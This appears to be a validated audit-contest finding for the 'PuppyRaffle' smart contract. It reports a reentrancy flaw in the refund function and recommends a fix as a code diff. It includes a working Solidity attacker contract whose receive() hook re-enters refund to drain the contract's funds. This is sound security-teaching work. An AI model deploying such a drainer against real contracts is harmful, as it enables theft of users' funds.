Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`PuppyRaffle::refund` function reentrancy, steal funds

Summary

The PuppyRaffle::refund function doesn't follow the CEI design therefore it is possible to create a reentrancy attack and steal the funds in the contract.

Moreover once the refund occurred, we need to properly delete the user from the array which is currently not done.

Vulnerability Details

A malicious contract could do a reentrancy attack on refund function and steal all the fund in the contract.
This is very dangerous

import {PuppyRaffle} from "path/PuppyRaffle.sol";
contract MaliciousReentrancy{
PuppyRaffle targetContract;
constructor(address _targetContractAddress){
targetContract = PuppyRaffle(_targetContractAddress);
}
function callRefund() external {
uint targetBalance = address(targetContract).balance;
uint playerIndex = targetContract.getActivePlayerIndex(address(this));
if (targetBalance >= 0) {
targetContract.refund(playerIndex);
}
}
receive() external payable {
uint targetBalance = address(targetContract).balance;
uint playerIndex = targetContract.getActivePlayerIndex(address(this));
if (targetBalance >= 0) {
targetContract.refund(playerIndex);
}
}
}

So somebody just need to call the function PuppyRaffle::enterRaffle with this malicious contract to be able to steal all the fees.

Impact

Based on the previous section Vulnerability Details you can see that the likelihood to make this attack is 100% and the result is fund stolen therefore this is a high vulnerability

Tools Used

Just reading the code

Recommendations

- function refund(uint256 playerIndex) public {
- address playerAddress = players[playerIndex];
- require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
- require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
-
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
- }
+ function refund(uint256 playerIndex) public {
+ address playerAddress = players[playerIndex];
+ require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
+ require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+
+ // we write the last element at the location of playerIndex
+ players[playerIndex] = players[players.length-1];
+ // we pop the last element
+ players.pop();
+ payable(msg.sender).sendValue(entranceFee);
+
+ emit RaffleRefunded(playerAddress);
+ }
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!